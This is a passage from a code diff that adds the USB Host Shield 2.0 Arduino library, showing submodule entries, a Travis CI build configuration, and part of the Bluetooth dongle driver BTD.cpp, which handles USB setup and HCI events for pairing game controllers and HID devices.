     4 +[submodule "examples/testusbhostFAT/xmem2"]
     5 + path = examples/testusbhostFAT/xmem2
     6 + url = https://github.com/xxxajk/xmem2
     7 +[submodule "examples/testusbhostFAT/Arduino_Makefile_master"]
     8 + path = examples/testusbhostFAT/Arduino_Makefile_master
     9 + url = https://github.com/xxxajk/Arduino_Makefile_master
     10 +[submodule "examples/testusbhostFAT/RTClib"]
     11 + path = examples/testusbhostFAT/RTClib
     12 + url = https://github.com/xxxajk/RTClib
     13 + 
  • ■ ■ ■ ■ ■ ■
    libraries/USB_Host_Shield_2.0/.travis.yml
     1 +language: python
     2 +python:
     3 + - "2.7"
     4 + 
     5 +# Cache PlatformIO packages using Travis CI container-based infrastructure
     6 +sudo: false
     7 +cache:
     8 + directories:
     9 + - "~/.platformio"
     10 + 
     11 +# Generated using: find examples -type f -name "*.ino" | rev | cut -d/ -f2- | rev | sed 's/^/ - PLATFORMIO_CI_SRC=/' > tmp.yml
     12 +env:
     13 + - PLATFORMIO_CI_SRC=examples/acm/acm_terminal
     14 + - PLATFORMIO_CI_SRC=examples/adk/adk_barcode
     15 + - PLATFORMIO_CI_SRC=examples/adk/ArduinoBlinkLED
     16 + - PLATFORMIO_CI_SRC=examples/adk/demokit_20
     17 + - PLATFORMIO_CI_SRC=examples/adk/term_test
     18 + - PLATFORMIO_CI_SRC=examples/adk/term_time
     19 + - PLATFORMIO_CI_SRC=examples/Bluetooth/BTHID
     20 + - PLATFORMIO_CI_SRC=examples/Bluetooth/PS3BT
     21 + - PLATFORMIO_CI_SRC=examples/Bluetooth/PS3Multi
     22 + - PLATFORMIO_CI_SRC=examples/Bluetooth/PS3SPP
     23 + - PLATFORMIO_CI_SRC=examples/Bluetooth/PS4BT
     24 + - PLATFORMIO_CI_SRC=examples/Bluetooth/SPP
     25 + - PLATFORMIO_CI_SRC=examples/Bluetooth/SPPMulti
     26 + - PLATFORMIO_CI_SRC=examples/Bluetooth/Wii
     27 + - PLATFORMIO_CI_SRC=examples/Bluetooth/WiiBalanceBoard
     28 + - PLATFORMIO_CI_SRC=examples/Bluetooth/WiiIRCamera PLATFORMIO_BUILD_FLAGS="-DWIICAMERA"
     29 + - PLATFORMIO_CI_SRC=examples/Bluetooth/WiiMulti
     30 + - PLATFORMIO_CI_SRC=examples/Bluetooth/WiiUProController
     31 + - PLATFORMIO_CI_SRC=examples/board_qc
     32 + - PLATFORMIO_CI_SRC=examples/cdc_XR21B1411/XR_terminal
     33 + - PLATFORMIO_CI_SRC=examples/ftdi/USBFTDILoopback
     34 + - PLATFORMIO_CI_SRC=examples/HID/le3dp
     35 + - PLATFORMIO_CI_SRC=examples/HID/scale
     36 + - PLATFORMIO_CI_SRC=examples/HID/SRWS1
     37 + - PLATFORMIO_CI_SRC=examples/HID/USBHID_desc
     38 + - PLATFORMIO_CI_SRC=examples/HID/USBHIDBootKbd
     39 + - PLATFORMIO_CI_SRC=examples/HID/USBHIDBootKbdAndMouse
     40 + - PLATFORMIO_CI_SRC=examples/HID/USBHIDBootMouse
     41 + - PLATFORMIO_CI_SRC=examples/HID/USBHIDJoystick
     42 + - PLATFORMIO_CI_SRC=examples/HID/USBHIDMultimediaKbd
     43 + - PLATFORMIO_CI_SRC=examples/hub_demo
     44 + - PLATFORMIO_CI_SRC=examples/max_LCD
     45 + - PLATFORMIO_CI_SRC=examples/pl2303/pl2303_gprs_terminal
     46 + - PLATFORMIO_CI_SRC=examples/pl2303/pl2303_gps
     47 + - PLATFORMIO_CI_SRC=examples/pl2303/pl2303_tinygps
     48 + - PLATFORMIO_CI_SRC=examples/pl2303/pl2303_xbee_terminal
     49 + - PLATFORMIO_CI_SRC=examples/PS3USB
     50 + - PLATFORMIO_CI_SRC=examples/PS4USB
     51 + - PLATFORMIO_CI_SRC=examples/PSBuzz
     52 + # - PLATFORMIO_CI_SRC=examples/testusbhostFAT
     53 + - PLATFORMIO_CI_SRC=examples/USB_desc
     54 + - PLATFORMIO_CI_SRC=examples/USBH_MIDI/bidirectional_converter
     55 + - PLATFORMIO_CI_SRC=examples/USBH_MIDI/eVY1_sample
     56 + - PLATFORMIO_CI_SRC=examples/USBH_MIDI/USB_MIDI_converter
     57 + - PLATFORMIO_CI_SRC=examples/USBH_MIDI/USB_MIDI_converter_multi
     58 + - PLATFORMIO_CI_SRC=examples/USBH_MIDI/USBH_MIDI_dump
     59 + - PLATFORMIO_CI_SRC=examples/Xbox/XBOXOLD
     60 + - PLATFORMIO_CI_SRC=examples/Xbox/XBOXONE
     61 + - PLATFORMIO_CI_SRC=examples/Xbox/XBOXRECV
     62 + - PLATFORMIO_CI_SRC=examples/Xbox/XBOXUSB
     63 + 
     64 +install:
     65 + - pip install -U platformio
     66 + - export PLATFORMIO_BUILD_FLAGS="$PLATFORMIO_BUILD_FLAGS -DDEBUG_USB_HOST -Wall -Werror"
     67 + 
     68 + #
     69 + # Libraries from PlatformIO Library Registry:
     70 + #
     71 + # http://platformio.org/lib/show/62/MIDI
     72 + # http://platformio.org/lib/show/416/TinyGPS
     73 + # http://platformio.org/lib/show/417/SPI4Teensy3
     74 + - platformio lib install 62 416 417
     75 + 
     76 +script:
     77 + - platformio ci --lib="." --board=uno --board=due --board=genuino101 --board=teensy30 --board=teensy31 --board=teensy35 --board=teensy36 --board=teensylc --board=esp12e --board=nodemcu --board=esp32dev
     78 + 
  • ■ ■ ■ ■ ■ ■
    libraries/USB_Host_Shield_2.0/BTD.cpp
     1 +/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.
     2 + 
     3 + This software may be distributed and modified under the terms of the GNU
     4 + General Public License version 2 (GPL2) as published by the Free Software
     5 + Foundation and appearing in the file GPL2.TXT included in the packaging of
     6 + this file. Please note that GPL2 Section 2[b] requires that all works based
     7 + on this software must also be made publicly available under the terms of
     8 + the GPL2 ("Copyleft").
     9 + 
     10 + Contact information
     11 + -------------------
     12 + 
     13 + Kristian Lauszus, TKJ Electronics
     14 + Web : http://www.tkjelectronics.com
     15 + e-mail : [email protected]
     16 + */
     17 + 
     18 +#include "BTD.h"
     19 +// To enable serial debugging see "settings.h"
     20 +//#define EXTRADEBUG // Uncomment to get even more debugging data
     21 + 
     22 +const uint8_t BTD::BTD_CONTROL_PIPE = 0;
     23 +const uint8_t BTD::BTD_EVENT_PIPE = 1;
     24 +const uint8_t BTD::BTD_DATAIN_PIPE = 2;
     25 +const uint8_t BTD::BTD_DATAOUT_PIPE = 3;
     26 + 
     27 +BTD::BTD(USB *p) :
     28 +connectToWii(false),
     29 +pairWithWii(false),
     30 +connectToHIDDevice(false),
     31 +pairWithHIDDevice(false),
     32 +pUsb(p), // Pointer to USB class instance - mandatory
     33 +bAddress(0), // Device address - mandatory
     34 +bNumEP(1), // If config descriptor needs to be parsed
     35 +qNextPollTime(0), // Reset NextPollTime
     36 +pollInterval(0),
     37 +bPollEnable(false) // Don't start polling before dongle is connected
     38 +{
     39 + for(uint8_t i = 0; i < BTD_NUM_SERVICES; i++)
     40 + btService[i] = NULL;
     41 + 
     42 + Initialize(); // Set all variables, endpoint structs etc. to default values
     43 + 
     44 + if(pUsb) // Register in USB subsystem
     45 + pUsb->RegisterDeviceClass(this); // Set devConfig[] entry
     46 +}
     47 + 
     48 +uint8_t BTD::ConfigureDevice(uint8_t parent, uint8_t port, bool lowspeed) {
     49 + const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR);
     50 + uint8_t buf[constBufSize];
     51 + USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast<USB_DEVICE_DESCRIPTOR*>(buf);
     52 + uint8_t rcode;
     53 + UsbDevice *p = NULL;
     54 + EpInfo *oldep_ptr = NULL;
     55 + 
     56 + Initialize(); // Set all variables, endpoint structs etc. to default values
     57 + 
     58 + AddressPool &addrPool = pUsb->GetAddressPool(); // Get memory address of USB device address pool
     59 +#ifdef EXTRADEBUG
     60 + Notify(PSTR("\r\nBTD ConfigureDevice"), 0x80);
     61 +#endif
     62 + 
     63 + if(bAddress) { // Check if address has already been assigned to an instance
     64 +#ifdef DEBUG_USB_HOST
     65 + Notify(PSTR("\r\nAddress in use"), 0x80);
     66 +#endif
     67 + return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE;
     68 + }
     69 + 
     70 + p = addrPool.GetUsbDevicePtr(0); // Get pointer to pseudo device with address 0 assigned
     71 + if(!p) {
     72 +#ifdef DEBUG_USB_HOST
     73 + Notify(PSTR("\r\nAddress not found"), 0x80);
     74 +#endif
     75 + return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;
     76 + }
     77 + 
     78 + if(!p->epinfo) {
     79 +#ifdef DEBUG_USB_HOST
     80 + Notify(PSTR("\r\nepinfo is null"), 0x80);
     81 +#endif
     82 + return USB_ERROR_EPINFO_IS_NULL;
     83 + }
     84 + 
     85 + oldep_ptr = p->epinfo; // Save old pointer to EP_RECORD of address 0
     86 + p->epinfo = epInfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence
     87 + p->lowspeed = lowspeed;
     88 + rcode = pUsb->getDevDescr(0, 0, constBufSize, (uint8_t*)buf); // Get device descriptor - addr, ep, nbytes, data
     89 + 
     90 + p->epinfo = oldep_ptr; // Restore p->epinfo
     91 + 
     92 + if(rcode)
     93 + goto FailGetDevDescr;
     94 + 
     95 + bAddress = addrPool.AllocAddress(parent, false, port); // Allocate new address according to device class
     96 + 
     97 + if(!bAddress) {
     98 +#ifdef DEBUG_USB_HOST
     99 + Notify(PSTR("\r\nOut of address space"), 0x80);
     100 +#endif
     101 + return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL;
     102 + }
     103 + 
     104 + if (udd->bDeviceClass == 0x09) // Some dongles have an USB hub inside
     105 + goto FailHub;
     106 + 
     107 + epInfo[0].maxPktSize = udd->bMaxPacketSize0; // Extract Max Packet Size from device descriptor
     108 + epInfo[1].epAddr = udd->bNumConfigurations; // Steal and abuse from epInfo structure to save memory
     109 + 
     110 + VID = udd->idVendor;
     111 + PID = udd->idProduct;
     112 + 
     113 + return USB_ERROR_CONFIG_REQUIRES_ADDITIONAL_RESET;
     114 + 
     115 +FailHub:
     116 +#ifdef DEBUG_USB_HOST
     117 + Notify(PSTR("\r\nPlease create a hub instance in your code: \"USBHub Hub1(&Usb);\""), 0x80);
     118 +#endif
     119 + pUsb->setAddr(bAddress, 0, 0); // Reset address
     120 + rcode = USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;
     121 + Release();
     122 + return rcode;
     123 + 
     124 +FailGetDevDescr:
     125 +#ifdef DEBUG_USB_HOST
     126 + NotifyFailGetDevDescr(rcode);
     127 +#endif
     128 + if(rcode != hrJERR)
     129 + rcode = USB_ERROR_FailGetDevDescr;
     130 + Release();
     131 + return rcode;
     132 +};
     133 + 
     134 +uint8_t BTD::Init(uint8_t parent __attribute__((unused)), uint8_t port __attribute__((unused)), bool lowspeed) {
     135 + uint8_t rcode;
     136 + uint8_t num_of_conf = epInfo[1].epAddr; // Number of configurations
     137 + epInfo[1].epAddr = 0;
     138 + 
     139 + AddressPool &addrPool = pUsb->GetAddressPool();
     140 +#ifdef EXTRADEBUG
     141 + Notify(PSTR("\r\nBTD Init"), 0x80);
     142 +#endif
     143 + UsbDevice *p = addrPool.GetUsbDevicePtr(bAddress); // Get pointer to assigned address record
     144 + 
     145 + if(!p) {
     146 +#ifdef DEBUG_USB_HOST
     147 + Notify(PSTR("\r\nAddress not found"), 0x80);
     148 +#endif
     149 + return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;
     150 + }
     151 + 
     152 + delay(300); // Assign new address to the device
     153 + 
     154 + rcode = pUsb->setAddr(0, 0, bAddress); // Assign new address to the device
     155 + if(rcode) {
     156 +#ifdef DEBUG_USB_HOST
     157 + Notify(PSTR("\r\nsetAddr: "), 0x80);
     158 + D_PrintHex<uint8_t > (rcode, 0x80);
     159 +#endif
     160 + p->lowspeed = false;
     161 + goto Fail;
     162 + }
     163 +#ifdef EXTRADEBUG
     164 + Notify(PSTR("\r\nAddr: "), 0x80);
     165 + D_PrintHex<uint8_t > (bAddress, 0x80);
     166 +#endif
     167 + 
     168 + p->lowspeed = false;
     169 + 
     170 + p = addrPool.GetUsbDevicePtr(bAddress); // Get pointer to assigned address record
     171 + if(!p) {
     172 +#ifdef DEBUG_USB_HOST
     173 + Notify(PSTR("\r\nAddress not found"), 0x80);
     174 +#endif
     175 + return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;
     176 + }
     177 + 
     178 + p->lowspeed = lowspeed;
     179 + 
     180 + rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo); // Assign epInfo to epinfo pointer - only EP0 is known
     181 + if(rcode)
     182 + goto FailSetDevTblEntry;
     183 + 
     184 + if(VID == PS3_VID && (PID == PS3_PID || PID == PS3NAVIGATION_PID || PID == PS3MOVE_PID)) {
     185 + delay(100);
     186 + rcode = pUsb->setConf(bAddress, epInfo[ BTD_CONTROL_PIPE ].epAddr, 1); // We only need the Control endpoint, so we don't have to initialize the other endpoints of device
     187 + if(rcode)
     188 + goto FailSetConfDescr;
     189 + 
     190 +#ifdef DEBUG_USB_HOST
     191 + if(PID == PS3_PID || PID == PS3NAVIGATION_PID) {
     192 + if(PID == PS3_PID)
     193 + Notify(PSTR("\r\nDualshock 3 Controller Connected"), 0x80);
     194 + else // It must be a navigation controller
     195 + Notify(PSTR("\r\nNavigation Controller Connected"), 0x80);
     196 + } else // It must be a Motion controller
     197 + Notify(PSTR("\r\nMotion Controller Connected"), 0x80);
     198 +#endif
     199 + 
     200 + if(my_bdaddr[0] == 0x00 && my_bdaddr[1] == 0x00 && my_bdaddr[2] == 0x00 && my_bdaddr[3] == 0x00 && my_bdaddr[4] == 0x00 && my_bdaddr[5] == 0x00) {
     201 +#ifdef DEBUG_USB_HOST
     202 + Notify(PSTR("\r\nPlease plug in the dongle before trying to pair with the PS3 Controller\r\nor set the Bluetooth address in the constructor of the PS3BT class"), 0x80);
     203 +#endif
     204 + } else {
     205 + if(PID == PS3_PID || PID == PS3NAVIGATION_PID)
     206 + setBdaddr(my_bdaddr); // Set internal Bluetooth address
     207 + else
     208 + setMoveBdaddr(my_bdaddr); // Set internal Bluetooth address
     209 +#ifdef DEBUG_USB_HOST
     210 + Notify(PSTR("\r\nBluetooth Address was set to: "), 0x80);
     211 + for(int8_t i = 5; i > 0; i--) {
     212 + D_PrintHex<uint8_t > (my_bdaddr[i], 0x80);
     213 + Notify(PSTR(":"), 0x80);
     214 + }
     215 + D_PrintHex<uint8_t > (my_bdaddr[0], 0x80);
     216 +#endif
     217 + }
     218 + 
     219 + pUsb->setConf(bAddress, epInfo[ BTD_CONTROL_PIPE ].epAddr, 0); // Reset configuration value
     220 + pUsb->setAddr(bAddress, 0, 0); // Reset address
     221 + Release(); // Release device
     222 + return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; // Return
     223 + } else {
     224 + // Check if attached device is a Bluetooth dongle and fill endpoint data structure
     225 + // First interface in the configuration must have Bluetooth assigned Class/Subclass/Protocol
     226 + // And 3 endpoints - interrupt-IN, bulk-IN, bulk-OUT, not necessarily in this order
     227 + for(uint8_t i = 0; i < num_of_conf; i++) {
     228 + if((VID == IOGEAR_GBU521_VID && PID == IOGEAR_GBU521_PID) || (VID == BELKIN_F8T065BF_VID && PID == BELKIN_F8T065BF_PID)) {
     229 + ConfigDescParser<USB_CLASS_VENDOR_SPECIFIC, WI_SUBCLASS_RF, WI_PROTOCOL_BT, CP_MASK_COMPARE_ALL> confDescrParser(this); // Workaround issue with some dongles
     230 + rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser);
     231 + } else {
     232 + ConfigDescParser<USB_CLASS_WIRELESS_CTRL, WI_SUBCLASS_RF, WI_PROTOCOL_BT, CP_MASK_COMPARE_ALL> confDescrParser(this); // Set class id according to the specification
     233 + rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser);
     234 + }
     235 + if(rcode) // Check error code
     236 + goto FailGetConfDescr;
     237 + if(bNumEP >= BTD_MAX_ENDPOINTS) // All endpoints extracted
     238 + break;
     239 + }
     240 + 
     241 + if(bNumEP < BTD_MAX_ENDPOINTS)
     242 + goto FailUnknownDevice;
     243 + 
     244 + // Assign epInfo to epinfo pointer - this time all 3 endpoins
     245 + rcode = pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo);
     246 + if(rcode)
     247 + goto FailSetDevTblEntry;
     248 + 
     249 + // Set Configuration Value
     250 + rcode = pUsb->setConf(bAddress, epInfo[ BTD_CONTROL_PIPE ].epAddr, bConfNum);
     251 + if(rcode)
     252 + goto FailSetConfDescr;
     253 + 
     254 + hci_num_reset_loops = 100; // only loop 100 times before trying to send the hci reset command
     255 + hci_counter = 0;
     256 + hci_state = HCI_INIT_STATE;
     257 + waitingForConnection = false;
     258 + bPollEnable = true;
     259 + 
     260 +#ifdef DEBUG_USB_HOST
     261 + Notify(PSTR("\r\nBluetooth Dongle Initialized"), 0x80);
     262 +#endif
     263 + }
     264 + return 0; // Successful configuration
     265 + 
     266 + /* Diagnostic messages */
     267 +FailSetDevTblEntry:
     268 +#ifdef DEBUG_USB_HOST
     269 + NotifyFailSetDevTblEntry();
     270 + goto Fail;
     271 +#endif
     272 + 
     273 +FailGetConfDescr:
     274 +#ifdef DEBUG_USB_HOST
     275 + NotifyFailGetConfDescr();
     276 + goto Fail;
     277 +#endif
     278 + 
     279 +FailSetConfDescr:
     280 +#ifdef DEBUG_USB_HOST
     281 + NotifyFailSetConfDescr();
     282 +#endif
     283 + goto Fail;
     284 + 
     285 +FailUnknownDevice:
     286 +#ifdef DEBUG_USB_HOST
     287 + NotifyFailUnknownDevice(VID, PID);
     288 +#endif
     289 + pUsb->setAddr(bAddress, 0, 0); // Reset address
     290 + rcode = USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;
     291 +Fail:
     292 +#ifdef DEBUG_USB_HOST
     293 + Notify(PSTR("\r\nBTD Init Failed, error code: "), 0x80);
     294 + NotifyFail(rcode);
     295 +#endif
     296 + Release();
     297 + return rcode;
     298 +}
     299 + 
     300 +void BTD::Initialize() {
     301 + uint8_t i;
     302 + for(i = 0; i < BTD_MAX_ENDPOINTS; i++) {
     303 + epInfo[i].epAddr = 0;
     304 + epInfo[i].maxPktSize = (i) ? 0 : 8;
     305 + epInfo[i].bmSndToggle = 0;
     306 + epInfo[i].bmRcvToggle = 0;
     307 + epInfo[i].bmNakPower = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER;
     308 + }
     309 + for(i = 0; i < BTD_NUM_SERVICES; i++) {
     310 + if(btService[i])
     311 + btService[i]->Reset(); // Reset all Bluetooth services
     312 + }
     313 + 
     314 + connectToWii = false;
     315 + incomingWii = false;
     316 + connectToHIDDevice = false;
     317 + incomingHIDDevice = false;
     318 + incomingPS4 = false;
     319 + bAddress = 0; // Clear device address
     320 + bNumEP = 1; // Must have to be reset to 1
     321 + qNextPollTime = 0; // Reset next poll time
     322 + pollInterval = 0;
     323 + bPollEnable = false; // Don't start polling before dongle is connected
     324 +}
     325 + 
     326 +/* Extracts interrupt-IN, bulk-IN, bulk-OUT endpoint information from config descriptor */
     327 +void BTD::EndpointXtract(uint8_t conf, uint8_t iface __attribute__((unused)), uint8_t alt, uint8_t proto __attribute__((unused)), const USB_ENDPOINT_DESCRIPTOR *pep) {
     328 + //ErrorMessage<uint8_t>(PSTR("Conf.Val"),conf);
     329 + //ErrorMessage<uint8_t>(PSTR("Iface Num"),iface);
     330 + //ErrorMessage<uint8_t>(PSTR("Alt.Set"),alt);
     331 + 
     332 + if(alt) // Wrong interface - by BT spec, no alt setting
     333 + return;
     334 + 
     335 + bConfNum = conf;
     336 + uint8_t index;
     337 + 
     338 + if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_INTERRUPT && (pep->bEndpointAddress & 0x80) == 0x80) { // Interrupt In endpoint found
     339 + index = BTD_EVENT_PIPE;
     340 + epInfo[index].bmNakPower = USB_NAK_NOWAIT;
     341 + } else if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_BULK) // Bulk endpoint found
     342 + index = ((pep->bEndpointAddress & 0x80) == 0x80) ? BTD_DATAIN_PIPE : BTD_DATAOUT_PIPE;
     343 + else
     344 + return;
     345 + 
     346 + // Fill the rest of endpoint data structure
     347 + epInfo[index].epAddr = (pep->bEndpointAddress & 0x0F);
     348 + epInfo[index].maxPktSize = (uint8_t)pep->wMaxPacketSize;
     349 +#ifdef EXTRADEBUG
     350 + PrintEndpointDescriptor(pep);
     351 +#endif
     352 + if(pollInterval < pep->bInterval) // Set the polling interval as the largest polling interval obtained from endpoints
     353 + pollInterval = pep->bInterval;
     354 + bNumEP++;
     355 +}
     356 + 
     357 +void BTD::PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr __attribute__((unused))) {
     358 +#ifdef EXTRADEBUG
     359 + Notify(PSTR("\r\nEndpoint descriptor:"), 0x80);
     360 + Notify(PSTR("\r\nLength:\t\t"), 0x80);
     361 + D_PrintHex<uint8_t > (ep_ptr->bLength, 0x80);
     362 + Notify(PSTR("\r\nType:\t\t"), 0x80);
     363 + D_PrintHex<uint8_t > (ep_ptr->bDescriptorType, 0x80);
     364 + Notify(PSTR("\r\nAddress:\t"), 0x80);
     365 + D_PrintHex<uint8_t > (ep_ptr->bEndpointAddress, 0x80);
     366 + Notify(PSTR("\r\nAttributes:\t"), 0x80);
     367 + D_PrintHex<uint8_t > (ep_ptr->bmAttributes, 0x80);
     368 + Notify(PSTR("\r\nMaxPktSize:\t"), 0x80);
     369 + D_PrintHex<uint16_t > (ep_ptr->wMaxPacketSize, 0x80);
     370 + Notify(PSTR("\r\nPoll Intrv:\t"), 0x80);
     371 + D_PrintHex<uint8_t > (ep_ptr->bInterval, 0x80);
     372 +#endif
     373 +}
     374 + 
     375 +/* Performs a cleanup after failed Init() attempt */
     376 +uint8_t BTD::Release() {
     377 + Initialize(); // Set all variables, endpoint structs etc. to default values
     378 + pUsb->GetAddressPool().FreeAddress(bAddress);
     379 + return 0;
     380 +}
     381 + 
     382 +uint8_t BTD::Poll() {
     383 + if(!bPollEnable)
     384 + return 0;
     385 + if((int32_t)((uint32_t)millis() - qNextPollTime) >= 0L) { // Don't poll if shorter than polling interval
     386 + qNextPollTime = (uint32_t)millis() + pollInterval; // Set new poll time
     387 + HCI_event_task(); // Poll the HCI event pipe
     388 + HCI_task(); // HCI state machine
     389 + ACL_event_task(); // Poll the ACL input pipe too
     390 + }
     391 + return 0;
     392 +}
     393 + 
     394 +void BTD::disconnect() {
     395 + for(uint8_t i = 0; i < BTD_NUM_SERVICES; i++)
     396 + if(btService[i])
     397 + btService[i]->disconnect();
     398 +};
     399 + 
     400 +void BTD::HCI_event_task() {
     401 + uint16_t length = BULK_MAXPKTSIZE; // Request more than 16 bytes anyway, the inTransfer routine will take care of this
     402 + uint8_t rcode = pUsb->inTransfer(bAddress, epInfo[ BTD_EVENT_PIPE ].epAddr, &length, hcibuf, pollInterval); // Input on endpoint 1
     403 + 
     404 + if(!rcode || rcode == hrNAK) { // Check for errors
     405 + switch(hcibuf[0]) { // Switch on event type
     406 + case EV_COMMAND_COMPLETE:
     407 + if(!hcibuf[5]) { // Check if command succeeded
     408 + hci_set_flag(HCI_FLAG_CMD_COMPLETE); // Set command complete flag
     409 + if((hcibuf[3] == 0x01) && (hcibuf[4] == 0x10)) { // Parameters from read local version information
     410 + hci_version = hcibuf[6]; // Used to check if it supports 2.0+EDR - see http://www.bluetooth.org/Technical/AssignedNumbers/hci.htm
     411 + hci_set_flag(HCI_FLAG_READ_VERSION);
     412 + } else if((hcibuf[3] == 0x09) && (hcibuf[4] == 0x10)) { // Parameters from read local bluetooth address
     413 + for(uint8_t i = 0; i < 6; i++)
     414 + my_bdaddr[i] = hcibuf[6 + i];
     415 + hci_set_flag(HCI_FLAG_READ_BDADDR);
     416 + }
     417 + }
     418 + break;
     419 + 
     420 + case EV_COMMAND_STATUS:
     421 + if(hcibuf[2]) { // Show status on serial if not OK
     422 +#ifdef DEBUG_USB_HOST
     423 + Notify(PSTR("\r\nHCI Command Failed: "), 0x80);
     424 + D_PrintHex<uint8_t > (hcibuf[2], 0x80);
     425 +#endif
     426 + }
     427 + break;
     428 + 
     429 + case EV_INQUIRY_COMPLETE:
     430 + if(inquiry_counter >= 5 && (pairWithWii || pairWithHIDDevice)) {
     431 + inquiry_counter = 0;
     432 +#ifdef DEBUG_USB_HOST
     433 + if(pairWithWii)
     434 + Notify(PSTR("\r\nCouldn't find Wiimote"), 0x80);
     435 + else
     436 + Notify(PSTR("\r\nCouldn't find HID device"), 0x80);
     437 +#endif
     438 + connectToWii = false;
     439 + pairWithWii = false;
     440 + connectToHIDDevice = false;
     441 + pairWithHIDDevice = false;
     442 + hci_state = HCI_SCANNING_STATE;
     443 + }
     444 + inquiry_counter++;
     445 + break;
     446 + 
     447 + case EV_INQUIRY_RESULT:
     448 + if(hcibuf[2]) { // Check that there is more than zero responses
     449 +#ifdef EXTRADEBUG
     450 + Notify(PSTR("\r\nNumber of responses: "), 0x80);
     451 + Notify(hcibuf[2], 0x80);
     452 +#endif
     453 + for(uint8_t i = 0; i < hcibuf[2]; i++) {
     454 + uint8_t offset = 8 * hcibuf[2] + 3 * i;
     455 + 
     456 + for(uint8_t j = 0; j < 3; j++)
     457 + classOfDevice[j] = hcibuf[j + 4 + offset];
     458 + 
     459 +#ifdef EXTRADEBUG
     460 + Notify(PSTR("\r\nClass of device: "), 0x80);
     461 + D_PrintHex<uint8_t > (classOfDevice[2], 0x80);
     462 + Notify(PSTR(" "), 0x80);
     463 + D_PrintHex<uint8_t > (classOfDevice[1], 0x80);
     464 + Notify(PSTR(" "), 0x80);
     465 + D_PrintHex<uint8_t > (classOfDevice[0], 0x80);
     466 +#endif
     467 + 
     468 + if(pairWithWii && classOfDevice[2] == 0x00 && (classOfDevice[1] & 0x05) && (classOfDevice[0] & 0x0C)) { // See http://wiibrew.org/wiki/Wiimote#SDP_information
     469 + checkRemoteName = true; // Check remote name to distinguish between the different controllers
     470 + 
     471 + for(uint8_t j = 0; j < 6; j++)
     472 + disc_bdaddr[j] = hcibuf[j + 3 + 6 * i];
     473 + 
     474 + hci_set_flag(HCI_FLAG_DEVICE_FOUND);
     475 + break;
     476 + } else if(pairWithHIDDevice && (classOfDevice[1] & 0x05) && (classOfDevice[0] & 0xC8)) { // Check if it is a mouse, keyboard or a gamepad - see: http://bluetooth-pentest.narod.ru/software/bluetooth_class_of_device-service_generator.html
     477 +#ifdef DEBUG_USB_HOST
     478 + if(classOfDevice[0] & 0x80)
     479 + Notify(PSTR("\r\nMouse found"), 0x80);
     480 + if(classOfDevice[0] & 0x40)
     481 + Notify(PSTR("\r\nKeyboard found"), 0x80);
     482 + if(classOfDevice[0] & 0x08)
     483 + Notify(PSTR("\r\nGamepad found"), 0x80);
     484 +#endif
     485 + 
     486 + for(uint8_t j = 0; j < 6; j++)
     487 + disc_bdaddr[j] = hcibuf[j + 3 + 6 * i];
     488 + 
     489 + hci_set_flag(HCI_FLAG_DEVICE_FOUND);
     490 + break;
     491 + }
     492 + }
     493 + }
     494 + break;
     495 + 
     496 + case EV_CONNECT_COMPLETE:
     497 + hci_set_flag(HCI_FLAG_CONNECT_EVENT);
     498 + if(!hcibuf[2]) { // Check if connected OK
     499 +#ifdef EXTRADEBUG
     500 + Notify(PSTR("\r\nConnection established"), 0x80);
     501 +#endif
     502 + hci_handle = hcibuf[3] | ((hcibuf[4] & 0x0F) << 8); // Store the handle for the ACL connection
     503 + hci_set_flag(HCI_FLAG_CONNECT_COMPLETE); // Set connection complete flag
     504 + } else {
     505 + hci_state = HCI_CHECK_DEVICE_SERVICE;
     506 +#ifdef DEBUG_USB_HOST
     507 + Notify(PSTR("\r\nConnection Failed: "), 0x80);
     508 + D_PrintHex<uint8_t > (hcibuf[2], 0x80);
     509 +#endif
     510 + }
     511 + break;
     512 + 
     513 + case EV_DISCONNECT_COMPLETE:
     514 + if(!hcibuf[2]) { // Check if disconnected OK
     515 + hci_set_flag(HCI_FLAG_DISCONNECT_COMPLETE); // Set disconnect command complete flag
     516 + hci_clear_flag(HCI_FLAG_CONNECT_COMPLETE); // Clear connection complete flag
     517 + }
     518 + break;
     519 + 
     520 + case EV_REMOTE_NAME_COMPLETE:
     521 + if(!hcibuf[2]) { // Check if reading is OK
     522 + for(uint8_t i = 0; i < min(sizeof (remote_name), sizeof (hcibuf) - 9); i++) {
     523 + remote_name[i] = hcibuf[9 + i];
     524 + if(remote_name[i] == '\0') // End of string
     525 + break;
     526 + }
     527 + // TODO: Altid sæt '\0' i remote name!
     528 + hci_set_flag(HCI_FLAG_REMOTE_NAME_COMPLETE);
     529 + }
     530 + break;
     531 + 
     532 + case EV_INCOMING_CONNECT:
     533 + for(uint8_t i = 0; i < 6; i++)
     534 + disc_bdaddr[i] = hcibuf[i + 2];
     535 + 
     536 + for(uint8_t i = 0; i < 3; i++)
     537 + classOfDevice[i] = hcibuf[i + 8];
     538 + 
     539 + if((classOfDevice[1] & 0x05) && (classOfDevice[0] & 0xC8)) { // Check if it is a mouse, keyboard or a gamepad
     540 +#ifdef DEBUG_USB_HOST
     541 + if(classOfDevice[0] & 0x80)
     542 + Notify(PSTR("\r\nMouse is connecting"), 0x80);
     543 + if(classOfDevice[0] & 0x40)
     544 + Notify(PSTR("\r\nKeyboard is connecting"), 0x80);
     545 + if(classOfDevice[0] & 0x08)
     546 + Notify(PSTR("\r\nGamepad is connecting"), 0x80);
     547 +#endif
     548 + incomingHIDDevice = true;
